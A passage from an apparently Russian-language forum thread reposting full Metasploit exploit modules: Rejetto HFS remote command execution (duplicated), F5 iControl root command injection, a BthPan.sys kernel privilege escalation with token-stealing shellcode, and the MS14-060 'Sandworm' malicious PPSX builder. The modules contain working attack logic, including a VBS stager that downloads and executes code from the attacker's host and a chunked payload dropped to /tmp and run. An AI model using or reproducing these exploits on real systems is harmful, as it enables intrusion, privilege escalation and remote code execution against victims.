        over Windows XP SP3, Windows 7 SP1 and Windows 8.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniele Linguaglossa <danielelinguaglossa[at]gmail.com>', # orginal discovery
          'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2014-6287'],
          ['OSVDB', '111386'],
          ['URL', 'http://seclists.org/bugtraq/2014/Sep/85'],
          ['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands']
        ],
      'Payload'        => { 'BadChars' => "\x0d\x0a\x00" },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
        ],
      'Privileged'     => false,
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'DisclosureDate' => "Sep 11 2014",
      'DefaultTarget'  => 0))
 
      register_options(
        [
          OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
          OptInt.new('HTTPDELAY',    [false, 'Seconds to wait before terminating web server', 10]),
        ], self.class)
  end
 
  def check
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => '/'
    })
 
    if res &&  res.headers['Server'] && res.headers['Server'] =~ /HFS ([\d.]+)/
      version = $1
      if Gem::Version.new(version) <= Gem::Version.new("2.3")
        return Exploit::CheckCode::Detected
      else
        return Exploit::CheckCode::Safe
      end
    else
      return Exploit::CheckCode::Safe
    end
  end
 
  def on_request_uri(cli, req)
    print_status("#{peer} - Payload request received: #{req.uri}")
    exe = generate_payload_exe
    vbs = Msf::Util::EXE.to_exe_vbs(exe)
    send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'})
    # remove resource after serving 1st request as 'exec' execute 4x
    # during exploitation
    remove_resource(get_resource)
  end
 
  def primer
    file_name = rand_text_alpha(rand(10)+5)
    file_ext = '.vbs'
    file_full_name = file_name + file_ext
    vbs_path = "%TEMP%\\#{file_full_name}"
 
    vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0a"
    vbs_code << "On Error Resume Next\x0d\x0a"
    vbs_code << "x.Open \"GET\",\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\",False\x0d\x0a"
    vbs_code << "If Err.Number <> 0 Then\x0d\x0a"
    vbs_code << "wsh.exit\x0d\x0a"
    vbs_code << "End If\x0d\x0a"
    vbs_code << "x.Send\x0d\x0a"
    vbs_code << "Execute x.responseText"
 
    payloads = [
      "save|#{vbs_path}|#{vbs_code}",
      "exec|wscript.exe //B //NOLOGO #{vbs_path}"
    ]
 
    print_status("Sending a malicious request to #{target_uri.path}")
    payloads.each do |payload|
      send_request_raw({
        'method' => 'GET',
        'uri'    => "/?search=%00{.#{URI::encode(payload)}.}"
      })
    end
    register_file_for_cleanup(vbs_path)
  end
 
  def exploit
    begin
      Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
      # When the server stops due to our timeout, this is raised
    end
  end
end
 
# 684E9B9093781025   1337day.com [2014-10-09]   E684B8839C462641 #



Добавлено в [time]1412835968[/time]
F5 iControl Remote Root Command Execution Exploit

This Metasploit module exploits an authenticated remote command execution vulnerability in the F5 BIGIP iControl API (and likely other F5 devices).

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "F5 iControl Remote Root Command Execution",
      'Description'    => %q{
        This module exploits an authenticated remote command execution
        vulnerability in the F5 BIGIP iControl API (and likely other
        F5 devices).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'bperry' # Discovery, Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2014-2928'],
          ['URL', 'http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html']
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['F5 iControl', {}]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Sep 17 2013",
      'DefaultTarget'  => 0))
 
      register_options(
        [
          Opt::RPORT(443),
          OptBool.new('SSL', [true, 'Use SSL', true]),
          OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),
          OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
          OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
        ], self.class)
  end
 
  def check
    get_hostname = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
    <SOAP-ENV:Body>
    <n1:get_hostname xmlns:n1="urn:iControl:System/Inet" />
    </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>
    }
 
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
      'method' => 'POST',
      'data' => get_hostname,
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD']
    })
 
    res.body =~ /y:string">(.*)<\/return/
    hostname = $1
    send_cmd("whoami")
 
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
      'method' => 'POST',
      'data' => get_hostname,
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD']
    })
 
    res.body =~ /y:string">(.*)<\/return/
    new_hostname = $1
 
    if new_hostname == "root.a.b"
      pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
        <SOAP-ENV:Body>
        <n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
        <hostname>#{hostname}</hostname>
        </n1:set_hostname>
        </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>
      }
 
      send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
        'method' => 'POST',
        'data' => pay,
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      })
 
      return Exploit::CheckCode::Vulnerable
    end
 
    return Exploit::CheckCode::Safe
  end
 
  def send_cmd(cmd)
    pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
      <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
      <SOAP-ENV:Body>
      <n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
        <hostname>`#{cmd}`.a.b</hostname>
        </n1:set_hostname>
        </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>
    }
 
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
      'method' => 'POST',
      'data' => pay,
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD']
    })
  end
 
  def exploit
    filename = Rex::Text.rand_text_alpha_lower(5)
 
    print_status('Sending payload in chunks, might take a small bit...')
    i = 0
    while i < payload.encoded.length
      cmd = "echo #{Rex::Text.encode_base64(payload.encoded[i..i+4])}|base64 --decode|tee -a /tmp/#{filename}"
      send_cmd(cmd)
      i = i + 5
    end
 
    print_status('Triggering payload...')
 
    send_cmd("sh /tmp/#{filename}")
  end
end
 
Rejetto HttpFileServer Remote Command Execution

Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. This Metasploit module exploit the HFS scripting commands by using '%00' to bypass the filtering. This Metasploit module has been tested successfully on HFS 2.3b over Windows XP SP3, Windows 7 SP1 and Windows 8.
.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Rejetto HttpFileServer Remote Command Execution",
      'Description'    => %q{
        Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a
        poor regex in the file ParserLib.pas. This module exploit the HFS scripting commands by
        using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b
        over Windows XP SP3, Windows 7 SP1 and Windows 8.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniele Linguaglossa <danielelinguaglossa[at]gmail.com>', # orginal discovery
          'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2014-6287'],
          ['OSVDB', '111386'],
          ['URL', 'http://seclists.org/bugtraq/2014/Sep/85'],
          ['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands']
        ],
      'Payload'        => { 'BadChars' => "\x0d\x0a\x00" },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
        ],
      'Privileged'     => false,
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'DisclosureDate' => "Sep 11 2014",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
          OptInt.new('HTTPDELAY',    [false, 'Seconds to wait before terminating web server', 10]),
        ], self.class)
  end

  def check
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => '/'
    })

    if res &&  res.headers['Server'] && res.headers['Server'] =~ /HFS ([\d.]+)/
      version = $1
      if Gem::Version.new(version) <= Gem::Version.new("2.3")
        return Exploit::CheckCode::Detected
      else
        return Exploit::CheckCode::Safe
      end
    else
      return Exploit::CheckCode::Safe
    end
  end

  def on_request_uri(cli, req)
    print_status("#{peer} - Payload request received: #{req.uri}")
    exe = generate_payload_exe
    vbs = Msf::Util::EXE.to_exe_vbs(exe)
    send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'})
    # remove resource after serving 1st request as 'exec' execute 4x
    # during exploitation
    remove_resource(get_resource)
  end

  def primer
    file_name = rand_text_alpha(rand(10)+5)
    file_ext = '.vbs'
    file_full_name = file_name + file_ext
    vbs_path = "%TEMP%\\#{file_full_name}"

    vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0a"
    vbs_code << "On Error Resume Next\x0d\x0a"
    vbs_code << "x.Open \"GET\",\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\",False\x0d\x0a"
    vbs_code << "If Err.Number <> 0 Then\x0d\x0a"
    vbs_code << "wsh.exit\x0d\x0a"
    vbs_code << "End If\x0d\x0a"
    vbs_code << "x.Send\x0d\x0a"
    vbs_code << "Execute x.responseText"

    payloads = [
      "save|#{vbs_path}|#{vbs_code}",
      "exec|wscript.exe //B //NOLOGO #{vbs_path}"
    ]

    print_status("Sending a malicious request to #{target_uri.path}")
    payloads.each do |payload|
      send_request_raw({
        'method' => 'GET',
        'uri'    => "/?search=%00{.#{URI::encode(payload)}.}"
      })
    end
    register_file_for_cleanup(vbs_path)
  end

  def exploit
    begin
      Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
      # When the server stops due to our timeout, this is raised
    end
  end
end
 
Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation

CVE-2014-4971

A vulnerability within Microsoft Bluetooth Personal Area Networking module, BthPan.sys, can allow an attacker to inject memory controlled by the attacker into an arbitrary location. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::File
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
      'Description'    => %q{
        A vulnerability within Microsoft Bluetooth Personal Area Networking module,
        BthPan.sys, can allow an attacker to inject memory controlled by the attacker
        into an arbitrary location. This can be used by an attacker to overwrite
        HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
        NtQueryIntervalProfile.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
          'Jay Smith <jsmith[at]korelogic.com>' # MSF module
        ],
      'Arch'          => ARCH_X86,
      'Platform'      => 'win',
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Targets'       =>
        [
          ['Windows XP SP3',
           {
             'HaliQuerySystemInfo' => 0x16bba,
             '_KPROCESS'  => "\x44",
             '_TOKEN'     => "\xc8",
             '_UPID'      => "\x84",
             '_APLINKS'   => "\x88"
           }
          ]
        ],
      'References'    =>
        [
          [ 'CVE', '2014-4971' ],
          [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],
          [ 'OSVDB', '109387' ]
        ],
      'DisclosureDate' => 'Jul 18 2014',
      'DefaultTarget'  => 0
    ))
  end


  def ring0_shellcode
    tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"
    tokenswap << "\x8B\x40\x44\x50\xBB\x04"
    tokenswap << "\x00\x00\x00\x8B\x80\x88"
    tokenswap << "\x00\x00\x00\x2D\x88"
    tokenswap << "\x00\x00\x00\x39\x98\x84"
    tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8"
    tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"
    tokenswap << [session.sys.process.getpid].pack('V')
    tokenswap << "\x8B\x80\x88\x00\x00\x00"
    tokenswap << "\x2D\x88\x00\x00\x00"
    tokenswap << "\x39\x98\x84\x00\x00\x00"
    tokenswap << "\x75\xED\x89\xB8\xC8"
    tokenswap << "\x00\x00\x00\x61\xC3"
  end

  def fill_memory(proc, address, length, content)
    session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")

    unless proc.memory.writable?(address)
      vprint_error("Failed to allocate memory")
      return nil
    end
    vprint_good("#{address} is now writable")

    result = proc.memory.write(address, content)

    if result.nil?
      vprint_error("Failed to write contents to memory")
      return nil
    end
    vprint_good("Contents successfully written to 0x#{address.to_s(16)}")

    return address
  end

  def disclose_addresses(t)
    addresses = {}

    hal_dispatch_table = find_haldispatchtable
    return nil if hal_dispatch_table.nil?
    addresses['halDispatchTable'] = hal_dispatch_table
    vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")

    vprint_status('Getting the hal.dll base address...')
    hal_info = find_sys_base('hal.dll')
    if hal_info.nil?
      vprint_error('Failed to disclose hal.dll base address')
      return nil
    end
    hal_base = hal_info[0]
    vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")

    hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
    addresses['HaliQuerySystemInfo'] = hali_query_system_information

    vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
    addresses
  end

  def check
    if sysinfo["Architecture"] =~ /wow64/i || sysinfo["Architecture"] =~ /x64/
      return Exploit::CheckCode::Safe
    end

    os = sysinfo["OS"]
    return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i

    handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    return Exploit::CheckCode::Safe unless handle

    session.railgun.kernel32.CloseHandle(handle)

    return Exploit::CheckCode::Vulnerable
  end

  def exploit
    if is_system?
      fail_with(Exploit::Failure::None, 'Session is already elevated')
    end

    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
    end

    handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    if handle.nil?
      fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device")
    end

    my_target = targets[0]
    print_status("Disclosing the HalDispatchTable address...")
    @addresses = disclose_addresses(my_target)
    if @addresses.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.")
    else
      print_good("Address successfully disclosed.")
    end

    print_status("Storing the shellcode in memory...")
    this_proc = session.sys.process.open
    kernel_shell = ring0_shellcode
    kernel_shell_address = 0x1

    buf = "\x90" * 0x6000
    buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400
    buf[0x5000, kernel_shell.length] = kernel_shell

    result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
    end
    print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")

    print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
    session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0)
    session.railgun.kernel32.CloseHandle(handle)

    print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
    session.railgun.ntdll.NtQueryIntervalProfile(2, 4)

    print_status("Checking privileges after exploitation...")

    unless is_system?
      fail_with(Failure::Unknown, "The privilege escalation wasn't successful")
    end
    print_good("Privilege escalation successful!")

    p = payload.encoded
    print_status("Injecting #{p.length} bytes to memory and executing it...")
    unless execute_shellcode(p)
      fail_with(Failure::Unknown, "Error while executing the payload")
    end
  end
end
 
MS14-060 Microsoft Windows OLE Package Manager Code Execution

CVE-2014-4114

This Metasploit module exploits a vulnerability found in Windows Object Linking and Embedding (OLE) allowing arbitrary code execution, publicly known as "Sandworm". Platforms such as Windows Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS14-060 Microsoft Windows OLE Package Manager Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)
        allowing arbitrary code execution, publicly known as "Sandworm". Platforms such as Windows
        Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be
        vulnerable. However, based on our testing, the most reliable setup is on Windows platforms
        running Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such
        as using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to
        a failure in the CPackage::CreateTempFileName function.

        This module will generate three files: an INF, a GIF, and a PPSX file. You are required to
        set up a SMB or Samba 3 server and host the INF and GIF there. Systems such as Ubuntu or an
        older version of Winodws (such as XP) work best for this because they require little
        configuration to get going. The PPSX file is what you should send to your target.

        In detail, the vulnerability has to do with how the Object Packager 2 component
        (packager.dll) handles an INF file that contains malicious registry changes, which may be
        leveraged for code execution. First of all, Packager does not load the INF file directly.
        But as an attacker, you can trick it to load your INF anyway by embedding the file path as
        a remote share in an OLE object. The packager will then treat it as a type of media file,
        and load it with the packager!CPackage::OLE2MPlayerReadFromStream function, which will
        download it with a CopyFileW call, save it in a temp folder, and pass that information for
        later. The exploit will do this loading process twice: first for a fake gif file that's
        actually the payload, and the second for the INF file.

        The packager will also look at each OLE object's XML Presentation Command, specifically the
        type and cmd property. In the exploit, "verb" media command type is used, and this triggers
        the packager!CPackage::DoVerb function. Also, "-3" is used as the fake gif file's cmd
        property, and "3" is used for the INF. When the cmd is "-3", DoVerb will bail. But when "3"
        is used (again, for the INF file), it will cause the packager to try to find appropriate
        handler for it, which will end up with C:\Windows\System32\infDefaultInstall.exe, and that
        will install/run the malicious INF file, and finally give us arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2014-4114'],
          ['OSVDB', '113140'],
          ['MSB', 'MS14-060'],
          ['BID', '70419'],
          ['URL' , 'http://www.isightpartners.com/2014/10/cve-2014-4114/'],
          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/'],
          ['URL', 'http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/']
        ],
      'Payload'        =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Targets'        =>
        [
          ['Windows 7 SP1 / Office 2010 SP2 / Office 2013', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Oct 14 2014",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
        OptString.new('UNCPATH', [ true, 'The UNC folder to use (Ex: \\\\192.168.1.1\\share)' ])
      ], self.class)
  end

  def exploit
    @unc = validate_unc_path

    if @unc.nil?
      fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder")
    end

    print_status("Creating the EXE payload...")
    payload_name = "#{rand_text_alpha(4)}.gif"
    p = generate_payload_exe

    print_status("Creating the INF file...")
    inf_name = "#{rand_text_alpha(4)}.inf"
    inf = inf_file(payload_name)

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    exe_stream = ole_exe(payload_name)
    inf_stream = ole_inf(inf_name)
    zip = zip_ppsx(exe_stream, inf_stream)
    file_create(zip)

    payload_path = my_file_create(p, payload_name)
    print_good("#{payload_name} stored at #{payload_path}, copy it to the remote share: #{@unc}")

    inf_path = my_file_create(inf, inf_name)
    print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}")
  end

  def validate_unc_path
    if datastore['UNCPATH'] =~ /^\\{2}[[:print:]]+\\[[:print:]]+\\*$/
      unc = datastore['UNCPATH']
    else
      unc = nil
    end

    unc
  end

  def my_file_create(data, name)
    ltype = "exploit.fileformat.#{self.shortname}"
    path = store_local(ltype, nil, data, name)

    path
  end

  def zip_ppsx(ole_exe, ole_inf)
    zip_data = {}
    data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template')

    Dir["#{data_dir}/**/**"].each do |file|
      unless File.directory?(file)
        zip_data[file.sub(data_dir,'')] = File.read(file)
      end
    end

    # add the otherwise skipped "hidden" file
    file = "#{data_dir}/_rels/.rels"
    zip_data[file.sub(data_dir,'')] = File.read(file)

    # put our own OLE streams
    zip_data['/ppt/embeddings/oleObject1.bin'] = ole_exe
    zip_data['/ppt/embeddings/oleObject2.bin'] = ole_inf

    # create the ppsx
    ppsx = Rex::Zip::Archive.new
    zip_data.each_pair do |k,v|
      ppsx.add_file(k,v)
    end

    ppsx.pack
  end

  def ole_inf(file_name)
    content = "EmbeddedStg2.txt\x00"
    content << "#{@unc}\\#{file_name}\x00"

    data = [content.length].pack('V')
    data << content
    ole = create_ole("\x01OLE10Native", data)

    ole
  end

  def ole_exe(file_name)
    content = "EmbeddedStg1.txt\x00"
    content << "#{@unc}\\#{file_name}\x00"

    data = [content.length].pack('V')
    data << content

    ole = create_ole("\x01OLE10Native", data)

    ole
  end

  def create_ole(stream_name, data)
    ole_tmp = Rex::Quickfile.new('ole')
    stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)

    stm = stg.create_stream(stream_name)
    stm << data
    stm.close

    directory = stg.instance_variable_get(:@directory)
    directory.each_entry do |entry|
      if entry.instance_variable_get(:@_ab) == 'Root Entry'
        # 02260200-0000-0000-c000-000000000046 # Video clip
        clsid = Rex::OLE::CLSID.new("\x02\x26\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46")
        entry.instance_variable_set(:@_clsId, clsid)
      end
    end

    # write to disk
    stg.close

    ole_contents = File.read(ole_tmp.path)
    ole_tmp.close
    ole_tmp.unlink

    ole_contents
  end

  def inf_file(gif_name)
    inf = <<-EOF
; 61883.INF
; Copyright (c) Microsoft Corporation.  All rights reserved.

[Version]
Signature = "$CHICAGO$"
Class=61883
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
Provider=%Msft%
DriverVer=06/21/2006,6.1.7600.16385

[DestinationDirs]
DefaultDestDir = 1

[DefaultInstall]
RenFiles = RxRename
AddReg = RxStart

[RxRename]
#{gif_name}.exe, #{gif_name}
[RxStart]#
HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\#{gif_name}.exe
EOF

    inf
  end

end
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх